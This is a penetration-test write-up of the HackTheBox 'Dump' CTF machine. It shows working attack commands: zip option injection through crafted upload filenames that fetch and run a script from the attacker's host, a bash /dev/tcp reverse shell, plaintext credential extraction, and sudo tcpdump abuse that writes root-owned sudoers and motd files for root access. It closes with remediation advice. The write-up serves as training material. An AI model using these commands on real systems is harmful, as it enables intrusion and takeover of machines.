PENTEST REPORT

Dump – HackTheBox Writeup

CLIENT	REPORT AUTHOR	AUTHOR ROLE	PERIOD
HackTheBox	Philippe Bécué	Pen-tester	16/02/2026 - 18/02/2026

This report is published with the client's consent, once vulnerabilities have been remediated.

Table of Contents

01 **Warning — Simulation / CTF**
Legal information, privacy, and terms of use for this document

02 **Demo Video**
Video demonstration of the exploitation or mission progress

03 **Vulnerability Table**
Severity classification grid and CVSS scores used in this report

04 **Participants List**
Presentation of the team members who participated in the penetration testing mission

05 **Scope**
Definition of the audit scope — systems and applications included and excluded from the test

06 **Information Gathering**
Collection of public information on the target: WHOIS, DNS, SSL certificates, exposed technologies

07 **OSINT**
Open-source intelligence — social media, data breaches, digital footprint

08 **Enumeration**
Discovery of services, open ports, software versions, and identified entry points

09 **Vulnerability Analysis**
Identification, qualification, and classification of discovered security vulnerabilities

10 **Exploitation**
Technical demonstration of the exploitation of confirmed vulnerabilities

11 **Post-Exploitation**
Post-compromise actions — privilege escalation, persistence, and lateral movement

12 **Vulnerabilities Summary Table**
Consolidated summary of all vulnerabilities with their CVSS score and criticality

13 **Conclusion**
Mission summary, overall security level assessment, and risk evaluation

14 **Solution**
Technical and organizational recommendations to remediate identified vulnerabilities

01

Warning — Simulation / CTF

This document is the report of a mission carried out in a simulated environment, for exclusively educational and training purposes. The targeted infrastructure is a virtual machine or a Capture The Flag (CTF) type environment, intentionally vulnerable and designed for learning offensive and defensive cybersecurity techniques. No real production systems, personal data, or third-party infrastructure were involved during this mission.

The techniques, tools, and methods described in this report are presented for educational purposes. Reproducing them on computer systems without explicit authorization from the owner is illegal and subject to criminal prosecution under applicable cybercrime legislation. The author disclaims any responsibility for the misuse of the information contained in this document for malicious or unauthorized purposes.

This report is part of a process to improve skills and document expertise in offensive security. It may be shared for demonstration or professional reference purposes in compliance with the terms of use of the platform or the organizer of the challenge concerned. Any partial or total reproduction for commercial purposes is prohibited without prior authorization from the author.

02

Demo Video

A video demonstration of this mission is available online. The video illustrates the exploitation process and the techniques used.

Video

VIDEO LINK

https://www.youtube.com/watch?v=WPCosXjAKPE

03

Vulnerability Table

The following table defines the severity levels and corresponding CVSS score ranges used throughout the document to assess vulnerability and risk impact.

SEVERITY	CVSS V3 SCORE RANGE	DEFINITION
CRITICAL	9.0 – 10.0	Exploitation is simple and generally leads to total system compromise. It is advised to establish an action plan and apply the fix immediately.
HIGH	7.0 – 8.9	Exploitation is more difficult but can lead to privilege escalation and potentially data loss or service interruption. It is advised to establish an action plan and apply the fix as soon as possible.
MEDIUM	4.0 – 6.9	Vulnerabilities exist but are not directly exploitable or require additional steps such as social engineering. It is advised to establish an action plan and apply the fix after resolving higher-priority issues.
LOW	0.1 – 3.9	Vulnerabilities are not exploitable but would reduce the organization's attack surface. It is advised to establish an action plan and apply the fix during the next maintenance window.
INFORMATIONAL	N/A	No vulnerabilities exist. Additional information is provided regarding observations during testing, strong controls, and supplementary documentation.

04

Participants List

NAME	ROLE	EMAIL	ENVIRONMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Kali Linux

05

Scope

Test Scope

NAME	DETAILS
10.129.234.97	Machine HackTheBox – Dump (Linux, Hard)

Scope Exclusions

No exclusions defined. Click "Add Exclusion" to get started.

06

Information Gathering

A quick `nmap` scan across all TCP ports reveals two exposed services:

```
nmap -p- -vvv --min-rate 10000 10.129.234.97

Nmap scan report for 10.129.234.97
Host is up, received reset ttl 63 (0.031s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63
```

We then refine with version detection and NSE scripts on these two ports:

```
nmap -p 22,80 -sCV 10.129.234.97

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u5 (protocol 2.0)
| ssh-hostkey:
|   3072 fb:31:61:8d:2f:86:e5:60:f9:e6:24:a3:1c:62:0c:ae (RSA)
|   256 0c:b7:c4:fb:4a:fc:31:1b:e9:4b:0b:d1:19:56:2f:ce (ECDSA)
|_  256 3c:c6:e8:71:4d:9a:d5:1d:86:dd:dd:6c:82:ee:7e:4d (ED25519)
80/tcp open  http    Apache httpd 2.4.65 ((Debian))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-title: hdmpll?
|_http-server-header: Apache/2.4.65 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

The TTL value of 63 is characteristic of a Linux system one hop away. The OpenSSH version (`8.4p1 Debian 5+deb11u5`) corresponds to Debian 11 Bullseye. The initial attack surface is limited to an SSH server and an Apache web service running on PHP.

07

OSINT

No critical CVEs are identified for Apache 2.4.65 or OpenSSH 8.4p1 as of the machine's publication date. Attention therefore turns to application logic.

The ZIP archive download functionality leaks the raw output of the `zip` command executed server-side in the HTTP response. This observation directly points towards searching for **parameter (or wildcard) injection** in Unix compression utilities.

Consulting GTFObins – zip: the combination of the `-T` and `-TT <command>` options allows executing an arbitrary command during the integrity test of the generated archive. This technique works as long as filenames are passed without quotes or the `--` separator to the interpreter.

For the post-exploitation phase, searching on GTFObins – tcpdump identifies several exploitable options: `-z` to execute a command, `-Z` to change the owner of the output file, and `-r` to read from an existing file instead of a network interface.

08

Enumeration

Exploring the web service (port 80)

The application features a login and registration form. After creating an account, three functionalities are available:

- **Live Traffic Capture**: Initiates a `tcpdump` capture on port 27714 for 10 seconds, then displays statistics.
- **Upload PCAP**: Allows uploading a `.pcap` file, which is added to the list of captures.
- **Download Captures**: Triggers the creation of a ZIP archive containing all user captures.

Analysis of the HTTP headers confirms a PHP application on Apache:

```
HTTP/1.1 200 OK
Server: Apache/2.4.65 (Debian)
Set-Cookie: PHPSESSID=2celb3j7qoovdmfpcac4tm5452; path=/
Content-Type: text/html; charset=UTF-8
```

Directory brute-forcing (Feroxbuster)

```
feroxbuster -u http://10.129.234.97 -x php

200  GET  http://10.129.234.97/style.css
200  GET  http://10.129.234.97/index.php
301  GET  http://10.129.234.97/downloads => http://10.129.234.97/downloads/
302  GET  http://10.129.234.97/upload.php => index.php
302  GET  http://10.129.234.97/logout.php => index.php
302  GET  http://10.129.234.97/view.php => index.php
302  GET  http://10.129.234.97/download.php => index.php
302  GET  http://10.129.234.97/delete.php => index.php
302  GET  http://10.129.234.97/capture.php => index.php
```

The structure is minimalist: each PHP file corresponds to an application feature. All routes redirect to `index.php` in the absence of an active session.

The HTTP response from `download.php` contains an HTML comment revealing the raw output of the `zip` command executed server-side:

```
HTTP/1.1 301 Moved Permanently
Location: downloads/0984d7dc-b1e8-4987-a144-b3f64cf48b88.zip

Preparing download...
```

This format is identical to the standard output of the `zip` command on Linux:

```
zip test.zip *
  adding: assets/ (stored 0%)
  adding: dump.md (deflated 61%)
  adding: test.pcap (stored 0%)
```

The application therefore uses a system call to `zip`, and the capture filenames are likely passed directly as arguments. If these names are not protected, any file whose name starts with - will be interpreted as an argument by `zip`.

09

Vulnerability Analysis

Wildcard / Parameter Injection in zip

When the PHP script constructs the `zip` command to generate the archive, it passes filenames without quotes and without the `--` separator to isolate arguments from filenames. If an uploaded file has a name starting with `-`, this name is interpreted by `zip` as a command-line option — this is the essence of **parameter injection**.

Confirmation is achieved by uploading a file named `--help`: upon download, the complete help page of `zip` appears in the HTML comments of the response, proving that the argument was indeed interpreted by the binary.

To achieve code execution, we exploit the combination of options documented on GTFObins:

- `-T`: Enables archive integrity testing — `zip` calls `unzip -tqq` after creation.
- `-TT <cmd>`: Replaces the test command with the specified command; `{}` is substituted with the path to the temporary archive.

By controlling two files named `-T` and `-TT <command>` respectively, we force `zip` to execute the command of our choice during the integrity test phase.

Sudo tcpdump – Overly permissive rule and Parameter Injection

The application needs to capture network traffic as root (only root can open raw sockets). To achieve this, `www-data` has a sudo rule allowing the execution of `tcpdump` without a password:

```
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
    -w/var/cache/captures/*/[0-9a-f]{8}-[0-9a-f]{4}-...
    -F/var/cache/captures/filter.[0-9a-f]{8}-[0-9a-f]{4}-...
```

Several design flaws accumulate in this rule:

- The `*` in `-w/var/cache/captures/*/` accepts any subdirectory, including a traversal sequence like `a/../../../../tmp/`.
- By splitting the value of `-w` with a short, valid first path, a second `-w` can be injected, which will be the actual write destination.

- The `-Z [user]` option changes the owner of the output file to the target user, after tcpdump has opened the network interfaces with root privileges.
- The `-r [pcap]` option reads from an existing PCAP file instead of listening on an interface — the content of the PCAP is reproduced in the output file `-w`.

The combination of `-Z root`, `-r sudoers.pcap` (a specially crafted PCAP containing a sudoers line), and `-w /etc/sudoers.d/[GUID]` allows writing a sudoers configuration file owned by root and containing a privilege escalation rule for the user fritz.

10

Exploitation

Fuzzing special characters in filenames

We record an upload request in Burp Suite and place a `FUZZ` marker in the filename. We then launch `ffuf` with a wordlist of special characters to check which ones are accepted:

```
ffuf -request upload.request -w /opt/SecLists/Fuzzing/special-chars.txt -request-proto http
```

All special characters are accepted by the upload. Some (like `|`, `&`, `(`, `)`) cause longer delays on the server, suggesting shell interpretation. The response from `download.php` confirms that filenames are passed raw to `zip` without any sanitization.

Proof of Concept: injecting the --help parameter

We locally create a file named `--help` (the initial double dash is mandatory to prevent the local shell from interpreting this name as an option):

```
touch -- '--help'
```

After uploading and triggering the download, the HTTP response contains the complete help page of `zip` in an HTML comment:

```
Preparing download...
```

The injection is confirmed: `zip` interpreted `--help` as its help option rather than a filename.

We push further with the `-sc` (show command line) option to see exactly how the command is constructed server-side:

```
# After uploading a file named "-sc":
Preparing download...
```

The goal is to inject the options `-T` and `-TT <command>` in the correct order. Local tests confirm that both arguments must be separated, and that a space before the dash prevents interpretation as an option:

```
# Local confirmation:
zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap
updating: test.pcap (stored 0%)
--2025-11-01 11:07:01-- http://10.10.14.17/shell.sh
Connecting to 10.10.14.17:80... connected.
HTTP request sent, awaiting response... 404 File not found
```

The target server receives the web request, confirming code execution. We cannot include / in uploaded filenames (the server extracts only the part after the last slash). To bypass this, we use `wget` pointing directly to the attacker's IP, which downloads `index.html` by default.

We prepare the reverse shell in a file named `index.html` served by a Python server:

```
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.17/443 0>&1
```

The three files to upload:

1. File named `-T` (enables integrity test mode)
2. File named `-TT wget 10.10.14.17 -O s.sh;bash s.sh;echo` (downloads and executes the shell)
3. A legitimate PCAP file (necessary for zip to have content to archive)

We start the listener and the HTTP server, then trigger the download via the web interface. The server retrieves the reverse shell from the attack machine:

```
python3 -m http.server 80
10.129.234.97 - - [01/Nov/2025 11:21:25] "GET / HTTP/1.1" 200 -
```

And the connection arrives on the netcat listener:

```
nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.97 37874
bash: cannot set terminal process group (548): Inappropriate ioctl for device
bash: no job control in this shell
```

```
www-data@dump:/var/cache/captures/23d982eb-1903-46ff-a45e-5566af0037a3$
```

Upgrade the shell to get a full TTY:

```
script /dev/null -c bash
# Ctrl+Z to background
stty raw -echo; fg
reset
Terminal type? screen
www-data@dump:/var/cache/captures/23d982eb-1903-46ff-a45e-5566af0037a3$
```

11

Post-Exploitation

Post-foothold enumeration (www-data)

Two users have a valid home directory and shell on the machine:

```
cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1000:Debian:/home/admin:/bin/bash
fritz:x:1001:1001::/home/fritz:/bin/bash
```

The `/var/www` directory contains the PHP sources of the application and an SQLite database:

```
ls /var/www
database  html  userdata

ls /var/www/html
capture.php    delete.php    downloads  logout.php  upload.php
capturing.php  download.php  index.php  style.css   view.php

ls /var/www/database/
database.sqlite3
```

The sudo configuration for `www-data` is particularly interesting:

```
sudo -l
User www-data may run the following commands on dump:
    (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10
        -w/var/cache/captures/*/[0-9a-f][0-9a-f][0-9a-f]...
        -F/var/cache/captures/filter.[0-9a-f][0-9a-f][0-9a-f]...
```

Extracting password from SQLite database

The `/var/www/database/database.sqlite3` database contains a single table, `users`. Its content reveals passwords stored in plaintext:

```
sqlite3 /var/www/database/database.sqlite3
.headers on
select * from users;
username|password|guid
fritz|Passw0rdH4shingIsforNoobZ!|534ce8b9-6a77-4113-a8c1-66462519bfd1
```

The password for user `fritz` is exposed in plaintext: `Passw0rdH4shingIsforNoobZ!`.

SSH access as fritz – User flag

The retrieved credentials allow direct connection via SSH:

```
ssh fritz@10.129.234.97
# Password: Passw0rdH4shingIsforNoobZ!
Linux dump 5.10.0-36-cloud-amd64 #1 SMP Debian 5.10.244-1 (2025-09-29) x86_64
fritz@dump:~$

cat ~/user.txt
ea37a470************************
```

The user fritz has no sudo privileges on this machine:

```
sudo -l
Sorry, user fritz may not run sudo on dump.
```

The `www-data` sudo rule allows the use of `tcpdump` with partially controllable arguments. We identify and chain several primitives:

Directory Traversal in -w: The `*` in the path `-w/var/cache/captures/* /` accepts any subdirectory, including a traversal sequence allowing writing outside the authorized directory:

```
touch /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
sudo tcpdump -c10 \
    -w/var/cache/captures/a/../../../../dev/shm/11111111-1111-1111-1111-111111111111 \
```

```
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
tcpdump: listening on eth0, link-type EN10MB (Ethernet)
10 packets captured
```

Injecting a second -w: By splitting the first `-w` with a short, valid path (satisfying the regex), we can inject a second `-w` which will be the actual destination:

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -w /dev/shm/11111111-1111-1111-1111-111111111112 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
```

Changing owner with -Z: The `-Z [user]` option changes the owner of the output file to the specified user, after tcpdump has opened the network interfaces with root privileges:

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -Z root \
    -w /dev/shm/11111111-1111-1111-1111-111111111113 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa

ls -l /dev/shm/11111111-1111-1111-1111-111111111113
-rw-r--r-- 1 root root 913 Nov  2 00:38 /dev/shm/11111111-1111-1111-1111-111111111113
```

The `-r [pcap]` option of tcpdump allows reading from an existing PCAP file instead of listening on a network interface. The content of the PCAP is then replicated into the `-w` output file. We can therefore inject arbitrary content by creating a specially prepared PCAP.

On the attack machine, we create a text file containing the desired sudoers rule, then encapsulate it in a PCAP by transmitting it via UDP on a local capture:

```
# Source sudoers file:

fritz ALL=(ALL:ALL) NOPASSWD: ALL

# PCAP creation:
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
```

```
cat sudoers | nc -u 127.0.0.1 9001


# Content verification:
cat sudoers.pcap
p/      iEME?@@j#)+>
fritz ALL=(ALL:ALL) NOPASSWD: ALL
```

We transfer the PCAP to the target (base64 encode, copy/paste, decode), then use it to write a root-owned sudoers file in `/etc/sudoers.d/`:

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -Z root \
    -r sudoers.pcap \
    -w /etc/sudoers.d/11111111-1111-1111-1111-111111111116 \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
reading from file sudoers.pcap, link-type EN10MB (Ethernet)
```

From the fritz account, we verify that the sudo rule is effective. The few bytes of PCAP header at the beginning of the file generate a syntax error that is ignored, but the valid sudoers line is correctly applied:

```
sudo -l
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
User fritz may run the following commands on dump:
    (ALL : ALL) NOPASSWD: ALL
```

We obtain a root shell and the flag:

```
sudo -i
/etc/sudoers.d/11111111-1111-1111-1111-111111111116:1:77: syntax error
root@dump:~# cat /root/root.txt
84406779************************
```

A second escalation path exploits the scripts in `/etc/update-motd.d/`, executed by root on each SSH login. Using the write primitive with `-Z fritz`, we create a file in this directory owned by fritz:

```
sudo tcpdump -c10 \
    -w/var/cache/captures/a/ \
    -Z fritz \
    -w /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd \
    -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
```

Since fritz owns the created file, he can make it executable and overwrite its content with a malicious bash script:

```
chmod +x /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
echo -e '#!/bin/bash

cp /bin/bash /tmp/0xdf
chmod 6777 /tmp/0xdf' | tee /etc/update-motd.d/dddddddd-dddd-dddd-dddd-dddddddddddd
```

Upon fritz's next SSH login, root automatically executes this script, copying bash with the SUID bit set:

```
ssh fritz@10.129.234.97
fritz@dump:~$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt
84406779************************
```

Note sur AppArmor

Un profil AppArmor est actif sur `tcpdump` (`/etc/apparmor.d/usr.bin.tcpdump`). Il bloque notamment :

- L'écriture dans les fichiers cachés du répertoire HOME (`audit deny @{HOME}/.* mrwkl`) — ce qui interdit d'écrire dans `/root/.ssh/authorized_keys` directement
- L'utilisation de `-z` avec des binaires arbitraires (seuls `gzip` et `bzip2` sont autorisés)

En revanche, le profil autorise la lecture et l'écriture sur tous les fichiers `.pcap` et `.cap` via la règle `/**.[pP][cC][aA][pP] rw`, et ne restreint pas l'écriture dans `/etc/sudoers.d/` ni `/etc/update-motd.d/`, ce qui permet les deux méthodes d'escalade décrites ci-dessus.

12

Vulnerabilities Summary Table

Wildcard / Parameter Injection dans la commande zip

CRITICAL

APPLICATION: download.php / /usr/bin/zip

PORT: 80

TYPE: RCE

MAIN IMPACT

Injection de paramètres -T / -TT dans zip via noms de fichiers craftés → exécution de commandes arbitraires en tant que www-data

Stockage de mots de passe en clair dans SQLite

HIGH

APPLICATION: /var/www/database/database.sqlite3

TYPE: Information Disclosure

MAIN IMPACT

Mot de passe de l'utilisateur fritz exposé en clair → accès SSH latéral

Élévation de privilèges via sudo tcpdump – Parameter Injection

CRITICAL

APPLICATION: sudo / /usr/bin/tcpdump

TYPE: Privilege Escalation

MAIN IMPACT

Combinaison de -Z root, -r [pcap crafté] et écriture dans /etc/sudoers.d/ → accès root complet

13

Conclusion

The Dump machine is a Hard-level box offering an original attack chain centered on abusing standard Unix tools (`zip` and `tcpdump`) when their arguments are not properly isolated. The main difficulty lies in a deep understanding of these tools' behavior and the meticulous construction of injected arguments.

Complete Attack Chain:

1. Nmap scan → 2 open ports: SSH (22) and HTTP (80) on Debian 11
2. Exploration of the PHP application: registration, PCAP capture, upload, ZIP download
3. Observation of `zip` stdout leak in HTML comments of `download.php`
4. Fuzzing filenames and confirming parameter injection
5. Upload files named `-T` and `-TT wget [IP] -O s.sh;bash s.sh;echo` → RCE → www-data shell
6. Reading `/var/www/database/database.sqlite3` → plaintext fritz password
7. SSH login as fritz → user flag (`ea37a470...`)
8. Exploiting sudo tcpdump: directory traversal + `-Z root` + `-r sudoers.pcap` + writing to `/etc/sudoers.d/`
9. Fritz gains sudo ALL → root flag (`84406779...`)

Notable Technical Points:

- AppArmor is configured on tcpdump but does not cover the paths `/etc/sudoers.d/` and `/etc/update-motd.d/`
- The `-V` option of tcpdump allows reading arbitrary files via error messages (e.g., reading `/root/root.txt` directly without prior escalation)
- The combination of tcpdump primitives (`-Z`, `-r`, double `-w`) constitutes a file writing primitive with fully controllable owner and content.

14

Solution

1. Fix parameter injection in ZIP archive generation

Uploaded filenames should never be passed directly to a system call. The most secure fix is to use the native PHP API instead of calling `zip`:

```
// Replacing the system call with ZipArchive
$zip = new ZipArchive();
$zip->open($outputPath, ZipArchive::CREATE);
foreach ($files as $file) {
    // Use UUID as internal name, not original name
    $zip->addFile($file['path'], $file['uuid'] . '.pcap');
}
$zip->close();
```

If the `zip` call must be kept, the filename must be strictly validated (whitelist `[a-zA-Z0-9._-]`) and passed with the `--` separator:

```
system('zip -- ' . escapeshellarg($output) . ' ' . escapeshellarg($file));
```

2. Hash passwords

Passwords should never be stored in plaintext in a database. Use `password_hash()` with the bcrypt algorithm:

```
// Registration
$hash = password_hash($password, PASSWORD_BCRYPT);

// Verification
if (password_verify($inputPassword, $storedHash)) {
    // Authentication successful
}
```

3. Restrict the sudo tcpdump rule

The current sudo rule is too permissive and exposes multiple attack vectors. Recommended improvements:

- Remove the `*` in the `-w` path and replace it with an absolute path without possible traversal.
- Explicitly disallow dangerous options: `-Z`, `-r`, `-V`, `-z` (even if AppArmor partially restricts them).
- Consider using a dedicated wrapper script with strictly defined parameters.

```
# Example of corrected rule
www-data ALL=(root) NOPASSWD: /usr/local/bin/tcpdump-wrapper

#!/bin/bash
# /usr/local/bin/tcpdump-wrapper
# Takes only one port as argument, generates filename internally
PORT=$1
UUID=$(uuidgen)
OUTPUT="/var/cache/captures/captures/${UUID}.pcap"
exec /usr/bin/tcpdump -c10 -nn -i eth0 -w "${OUTPUT}" "port ${PORT}"
```

4. Harden the tcpdump AppArmor profile

The existing AppArmor profile should be extended to deny writing to sensitive system configuration directories:

```
# Add to /etc/apparmor.d/usr.bin.tcpdump
deny /etc/sudoers.d/** rw,
deny /etc/update-motd.d/** rw,
deny /etc/cron*/** rw,
deny /root/** rw,
```

After modification, reload the profile:

```
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.tcpdump
```